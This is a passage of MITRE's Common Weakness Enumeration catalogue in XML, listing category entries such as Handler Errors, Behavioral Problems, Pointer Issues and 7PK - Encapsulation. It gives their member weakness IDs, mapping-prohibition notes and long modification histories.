               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Channel Errors</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="429" Name="Handler Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to improper management of handlers.</Summary>
         <Relationships>
            <Has_Member CWE_ID="430" View_ID="699"/>
            <Has_Member CWE_ID="431" View_ID="699"/>
            <Has_Member CWE_ID="434" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Handler Errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="438" Name="Behavioral Problems" Status="Draft">
         <Summary>Weaknesses in this category are related to unexpected behaviors from code that an application uses.</Summary>
         <Relationships>
            <Has_Member CWE_ID="115" View_ID="699"/>
            <Has_Member CWE_ID="179" View_ID="699"/>
            <Has_Member CWE_ID="408" View_ID="699"/>
            <Has_Member CWE_ID="437" View_ID="699"/>
            <Has_Member CWE_ID="439" View_ID="699"/>
            <Has_Member CWE_ID="440" View_ID="699"/>
            <Has_Member CWE_ID="444" View_ID="699"/>
            <Has_Member CWE_ID="480" View_ID="699"/>
            <Has_Member CWE_ID="483" View_ID="699"/>
            <Has_Member CWE_ID="484" View_ID="699"/>
            <Has_Member CWE_ID="551" View_ID="699"/>
            <Has_Member CWE_ID="698" View_ID="699"/>
            <Has_Member CWE_ID="733" View_ID="699"/>
            <Has_Member CWE_ID="783" View_ID="699"/>
            <Has_Member CWE_ID="835" View_ID="699"/>
            <Has_Member CWE_ID="837" View_ID="699"/>
            <Has_Member CWE_ID="841" View_ID="699"/>
            <Has_Member CWE_ID="1025" View_ID="699"/>
            <Has_Member CWE_ID="1037" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Behavioral problems</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="442" Name="DEPRECATED: Web Problems" Status="Deprecated">
         <Summary>This entry has been deprecated.  It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Web Problems</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="445" Name="DEPRECATED: User Interface Errors" Status="Deprecated">
         <Summary>This weakness has been deprecated because it was a duplicate of CWE-355. All content has been transferred to CWE-355.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Relationships, Research_Gaps, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-04-11">User Interface Quality Errors</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-01-19">User Interface Errors</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="452" Name="Initialization and Cleanup Errors" Status="Draft">
         <Summary>Weaknesses in this category occur in behaviors that are used for initialization and breakdown.</Summary>
         <Relationships>
            <Has_Member CWE_ID="212" View_ID="699"/>
            <Has_Member CWE_ID="454" View_ID="699"/>
            <Has_Member CWE_ID="455" View_ID="699"/>
            <Has_Member CWE_ID="459" View_ID="699"/>
            <Has_Member CWE_ID="1051" View_ID="699"/>
            <Has_Member CWE_ID="1052" View_ID="699"/>
            <Has_Member CWE_ID="1188" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Initialization and Cleanup Errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Research_Gaps</Modification_Comment>
            </Modification>
			<Modification>
				<Modification_Name>CWE Content Team</Modification_Name>
				<Modification_Organization>MITRE</Modification_Organization>
				<Modification_Date>2019-01-03</Modification_Date>
				<Modification_Comment>updated Relationships</Modification_Comment>
			</Modification>
			<Modification>
				<Modification_Name>CWE Content Team</Modification_Name>
				<Modification_Organization>MITRE</Modification_Organization>
				<Modification_Date>2019-06-20</Modification_Date>
				<Modification_Comment>updated Relationships</Modification_Comment>
			</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="461" Name="DEPRECATED: Data Structure Issues" Status="Deprecated">
         <Summary>This entry has been deprecated.  It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Data Structure Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="465" Name="Pointer Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to improper handling of pointers.</Summary>
         <Relationships>
            <Has_Member CWE_ID="466" View_ID="699"/>
            <Has_Member CWE_ID="468" View_ID="699"/>
            <Has_Member CWE_ID="469" View_ID="699"/>
            <Has_Member CWE_ID="476" View_ID="699"/>
            <Has_Member CWE_ID="587" View_ID="699"/>
            <Has_Member CWE_ID="763" View_ID="699"/>
            <Has_Member CWE_ID="822" View_ID="699"/>
            <Has_Member CWE_ID="823" View_ID="699"/>
            <Has_Member CWE_ID="824" View_ID="699"/>
            <Has_Member CWE_ID="825" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="485" Name="7PK - Encapsulation" Status="Draft">
         <Summary>This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when the product does not sufficiently encapsulate critical data or functionality. According to the authors of the Seven Pernicious Kingdoms, "Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not."</Summary>
         <Relationships>
            <Has_Member CWE_ID="486" View_ID="700"/>
            <Has_Member CWE_ID="488" View_ID="700"/>
            <Has_Member CWE_ID="489" View_ID="700"/>
            <Has_Member CWE_ID="491" View_ID="700"/>
            <Has_Member CWE_ID="492" View_ID="700"/>
            <Has_Member CWE_ID="493" View_ID="700"/>
            <Has_Member CWE_ID="495" View_ID="700"/>
            <Has_Member CWE_ID="496" View_ID="700"/>
            <Has_Member CWE_ID="497" View_ID="700"/>
            <Has_Member CWE_ID="501" View_ID="700"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Other">The "encapsulation" term is used in multiple ways. Within some security sources, the term is used to describe the establishment of boundaries between different control spheres. Within general computing circles, it is more about hiding implementation details and maintainability than security. Even within the security usage, there is also a question of whether "encapsulation" encompasses the entire range of security problems.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Relationships, Taxonomy_Mappings, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Maintenance_Notes, Name, Other_Notes, References, Relationships, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Encapsulation</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-11-08">Insufficient Encapsulation</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="490" Name="DEPRECATED: Mobile Code Issues" Status="Deprecated">
         <Summary>This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Other_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Mobile Code Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="503" Name="DEPRECATED: Byte/Object Code" Status="Deprecated">
         <Summary>This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
